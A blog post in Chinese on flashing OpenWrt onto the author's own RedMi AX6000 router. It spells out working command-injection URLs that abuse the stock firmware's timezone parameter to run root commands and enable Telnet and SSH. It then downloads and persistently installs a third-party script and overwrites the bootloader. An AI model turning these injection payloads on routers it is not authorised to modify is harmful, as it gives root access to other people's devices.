RedMi AX6000 刷 OpenWrt

Undefined443發表於2024-08-14

一直想嘗試玩玩軟路由,但是家裡實在沒有軟路由的需求,外加不知道該入手什麼機器來刷軟路由,所以遲遲沒有入手。最近研究生要開學了,但是學校的有線網要下載專用軟體認證才能上網,終於找到合適的理由入手一款軟路由了。經過一番搜尋,我決定入手 RedMi AX6000

前置條件:一臺可以上網的舊路由器,一臺 RedMi AX6000,一臺電腦,網線若干。

開啟並固化 SSH、Telnet

  1. 連網線:RedMi AX6000 WAN 口連舊路由器,LAN 口連電腦。

  2. 進入路由器 Web 配置頁面 http://192.168.31.1 並設定密碼。

  3. 獲取 Token。重新進入 Web 配置頁面,登入後注意位址列會發生變化:

    http://192.168.31.1/cgi-bin/luci/;stok=c3a966b62ce80d155df260e3e920c5cd/web/home#router
    

    其中 ;stok= 後面的部分 c3a966b62ce80d155df260e3e920c5cd 就是我們本次登入的 Token。將 Token 複製下來。

  4. 開啟 Telnet。接下來我們要利用 URL 實現的命令注入攻擊在路由器上執行命令。

    1. 開啟除錯模式

      要注入的命令:

      zz=$(dd if=/dev/zero bs=1 count=2 2>/dev/null)
      printf 'ZZ%c%c' $zz $zz | mtd write - crash
      

      攻擊 URL(將 {token} 替換為實際 Token):

      http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%5A%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20
      

      如果網頁返回結果為 {"code":0},說明命令執行成功。

    2. 重啟路由器以應用更改

      要注入的命令:

      reboot
      

      攻擊 URL(將 {token} 替換為實際 Token):

      http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
      

      注意路由器重啟後舊的 Token 會失效。用之前的方法重新獲取新的 Token。

    3. 設定 Bdata 永久開啟 Telnet

      要注入的命令:

      bdata set telnet_en=1
      bdata set ssh_en=1
      bdata set uart_en=1
      bdata commit
      

      攻擊 URL(將 {token} 替換為實際 Token):

      http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20
      

      返回結果應該為 {"code":0}

    4. 重啟路由器以應用更改

      要注入的命令:

      reboot
      

      攻擊 URL(將 {token} 替換為實際 Token):

      http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
      
  5. 開啟 SSH

    1. 使用 Telnet 登入路由器:

      telnet 192.168.31.1
      
    2. 修改 root 帳戶密碼

      echo -e 'your_password' | passwd root
      
    3. 固化 SSH:

      nvram set ssh_en=1
      nvram set telnet_en=1
      nvram set uart_en=1
      nvram set boot_wait=on
      nvram commit
      
    4. 設定 SSH 永久開啟:

      mkdir /data/auto_ssh && cd /data/auto_ssh
      curl -O https://cdn.jsdelivr.net/gh/lemoeo/AX6S@main/auto_ssh.sh
      chmod +x auto_ssh.sh
      uci set firewall.auto_ssh=include
      uci set firewall.auto_ssh.type='script'
      uci set firewall.auto_ssh.path='/data/auto_ssh/auto_ssh.sh'
      uci set firewall.auto_ssh.enabled='1'
      uci commit firewall
      
    5. 關閉除錯模式:

      mtd erase crash
      
    6. 重啟路由器:

      reboot
      

刷不死 uboot

  1. 使用 SSH 登入路由器

    ssh root@192.168.31.1
    
  2. 備份原廠資訊

    dd if=/dev/mtd1 of=/tmp/mtd1_BL2.bin
    dd if=/dev/mtd2 of=/tmp/mtd2_Nvram.bin
    dd if=/dev/mtd3 of=/tmp/mtd3_Bdata.bin
    dd if=/dev/mtd4 of=/tmp/mtd4_Factory.bin
    dd if=/dev/mtd5 of=/tmp/mtd5_FIP.bin
    
  3. 下載備份到本地計算機

    scp /tmp/mtd1_BL2.bin user@192.168.31.2:Downloads
    scp /tmp/mtd2_Nvram.bin user@192.168.31.2:Downloads
    scp /tmp/mtd3_Bdata.bin user@192.168.31.2:Downloads
    scp /tmp/mtd4_Factory.bin user@192.168.31.2:Downloads
    scp /tmp/mtd5_FIP.bin user@192.168.31.2:Downloads
    
  4. 上傳 uboot 檔案到路由器

    scp mt7986_redmi_ax6000-fip-fixed-parts.bin root@192.168.31.1:/tmp
    
  5. 刷入 uboot

    # 7610a1722073748c3c3a860b75d94d5d
    md5sum /tmp/mt7986_redmi_ax6000-fip-fixed-parts.bin
    # 擦除 FIP 中的內容
    mtd erase FIP
    # 將 uboot 寫入 FIP
    mtd write /tmp/mt7986_redmi_ax6000-fip-fixed-parts.bin FIP
    # 校驗 mtd
    mtd verify /tmp/mt7986_redmi_ax6000-fip-fixed-parts.bin FIP
    

刷入 OpenWrt 系統

  1. 設定電腦的靜態 IP 地址。在 uboot 模式下路由器無法提供 DHCP 功能,因此需要我們手動設定 IP 地址:

    IP 地址:192.168.31.2

    子網掩碼:255.255.255.0

    閘道器:192.168.31.1

  2. 路由器進入 uboot 模式:

    拔掉路由器電源,用牙籤按住路由器 Reset 按鈕,接通路由器電源,15 秒後鬆開 Reset 按鈕,此時就進入了 uboot 模式。接下來開啟路由器 Web 配置介面 http://192.168.31.1

  3. 上傳 OpenWrt 韌體

    選擇我們準備的 OpenWrt 韌體,點 Upload 上傳。整個過程會持續 1 分鐘左右。

    上傳成功後路由器的 Web 配置介面會變為 http://192.168.6.1,使用者名稱 root,密碼 password。此時我們就完成了整個刷機過程。

參考:

  • 紅米 Redmi AX6000 開啟 SSH、Telnet 及 OpenWrt/LEDE 刷機教程,附件增加救磚工具跟 OP 韌體 | 恩山無線論壇

  • 年度最具價效比路由器 RedMi AX6000 保姆級刷機教程 | 什麼值得買

相關文章